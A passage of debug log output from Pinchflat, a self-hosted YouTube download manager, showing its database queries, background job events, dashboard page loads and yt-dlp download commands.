s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:31:12.658 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:31:12.658 [debug] QUERY OK source="media_items" db=0.3ms idle=5.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [36, 37] 21:31:12.658 [debug] QUERY OK source="media_items" db=0.1ms idle=0.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [37] 21:31:12.659 [debug] QUERY OK source="media_metadata" db=0.0ms idle=0.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [37] 21:31:12.659 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:31:12.659 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:31:12.659 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:31:12.659 [debug] Running yt-dlp command for action: get_downloadable_status 21:31:12.659 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:31:12.659 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:31:12.660 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:31:12.660 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=0AW6tWTRLeU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/80/2c/802cad107ec4f90e772be2614562db13a549a3d36d87b1c1a55e7aafa09788af.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:31:14.969 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=0AW6tWTRLeU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/80/2c/802cad107ec4f90e772be2614562db13a549a3d36d87b1c1a55e7aafa09788af.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:31:14.969 [debug] Running yt-dlp command for action: download 21:31:14.969 [debug] QUERY OK source="settings" db=0.1ms idle=911.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:31:14.969 [debug] QUERY OK source="settings" db=0.0ms idle=912.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:31:14.969 [debug] QUERY OK source="settings" db=0.0ms idle=912.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:31:14.969 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=0AW6tWTRLeU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/15/a1/15a19cbb6513ac01313332419c8ba54a00bbd8eacc0ea94e2676c75d6bb2284a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:31:28.710 [info] {"source":"oban","duration":1384,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:31:58.712 [info] {"source":"oban","duration":1060,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:32:00.607 [info] {"source":"oban","duration":437,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:32:28.714 [info] {"source":"oban","duration":1188,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:32:46.607 [info] GET / 21:32:46.607 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 21:32:46.608 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=851.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:32:46.608 [debug] QUERY OK source="media_profiles" db=0.1ms idle=551.2ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 21:32:46.609 [debug] QUERY OK source="sources" db=0.1ms idle=551.4ms SELECT count(s0."id") FROM "sources" AS s0 [] 21:32:46.610 [debug] QUERY OK source="media_items" db=0.6ms idle=551.7ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:32:46.610 [debug] QUERY OK source="media_items" db=0.1ms idle=552.5ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:32:46.610 [debug] QUERY OK source="settings" db=0.1ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:32:46.611 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:32:46.611 [debug] QUERY OK source="settings" db=0.1ms queue=0.1ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:32:46.613 [debug] QUERY OK source="tasks" db=0.5ms idle=2.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:32:46.614 [debug] QUERY OK source="media_items" db=0.3ms idle=3.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [36, 37] 21:32:46.616 [debug] QUERY OK source="media_items" db=0.1ms idle=5.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:32:46.617 [debug] QUERY OK source="media_items" db=0.7ms idle=5.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:32:46.617 [debug] QUERY OK source="sources" db=0.2ms idle=5.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:32:46.621 [debug] QUERY OK source="media_items" db=0.4ms idle=7.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:32:46.622 [debug] QUERY OK source="media_items" db=0.9ms idle=7.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:32:46.623 [debug] QUERY OK source="sources" db=0.2ms idle=6.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:32:46.626 [info] Sent 200 in 18ms 21:32:46.785 [info] CONNECTED TO Phoenix.LiveView.Socket in 17µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "DTMCExkBGH0vPg0HPC0KJhspX21EJwwdBzXqXrK4hQgIUeCtAXk96cjX", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.internal.ubrown.me/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.internal.ubrown.me/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 21:32:46.809 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE", "media_state" => "downloaded"} 21:32:46.810 [debug] QUERY OK source="media_items" db=0.1ms idle=192.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:32:46.810 [debug] QUERY OK source="media_items" db=0.1ms idle=188.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:32:46.810 [debug] QUERY OK source="sources" db=0.0ms idle=187.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:32:46.810 [debug] Replied in 821µs 21:32:46.812 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE", "media_state" => "pending"} 21:32:46.812 [debug] QUERY OK source="media_items" db=0.1ms idle=189.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:32:46.812 [debug] QUERY OK source="media_items" db=0.2ms idle=54.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:32:46.813 [debug] QUERY OK source="sources" db=0.0ms idle=2.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:32:46.813 [debug] Replied in 919µs 21:32:46.814 [debug] MOUNT Pinchflat.Pages.JobTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE"} 21:32:46.814 [debug] QUERY OK source="tasks" db=0.1ms idle=3.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:32:46.814 [debug] QUERY OK source="media_items" db=0.0ms idle=3.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [36, 37] 21:32:46.814 [debug] Replied in 565µs 21:32:46.815 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE"} 21:32:46.815 [debug] Replied in 45µs 21:32:58.716 [info] {"source":"oban","duration":1101,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:33:00.608 [info] {"source":"oban","duration":258,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:33:28.718 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:33:58.718 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:34:00.609 [info] {"source":"oban","duration":176,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:34:07.951 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=V-daEZp3YLA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/25/f7/25f7fd76b996681144a2a5a39e1e4dffd46224322a6a18ced64b7e81f0ad8a93.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:34:07.972 [debug] Running yt-dlp command for action: download_thumbnail 21:34:07.973 [debug] QUERY OK source="settings" db=0.0ms idle=1915.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:34:07.973 [debug] QUERY OK source="settings" db=0.0ms idle=1915.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:34:07.973 [debug] QUERY OK source="settings" db=0.0ms idle=1915.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:34:07.973 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=V-daEZp3YLA --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/36/thumbnail.%(ext)s --print-to-file after_move:%()j 